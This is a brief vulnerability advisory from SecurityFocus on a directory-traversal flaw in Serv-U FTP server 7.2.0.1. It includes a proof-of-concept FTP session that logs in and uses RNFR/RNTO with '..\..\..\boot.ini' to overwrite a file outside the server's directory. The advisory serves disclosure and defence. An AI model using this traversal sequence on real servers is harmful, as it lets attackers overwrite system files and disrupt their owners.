source: https://www.securityfocus.com/bid/31563/info

RhinoSoft Serv-U FTP server is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue allows an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

Serv-U FTP server 7.2.0.1 is vulnerable; other versions may also be affected. 

220 Serv-U FTP Server v7.2 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
rnfr any_exist_file.ext
350 File or directory exists, ready for destination name.
rnto ..\..\..\boot.ini
250 RNTO command successful.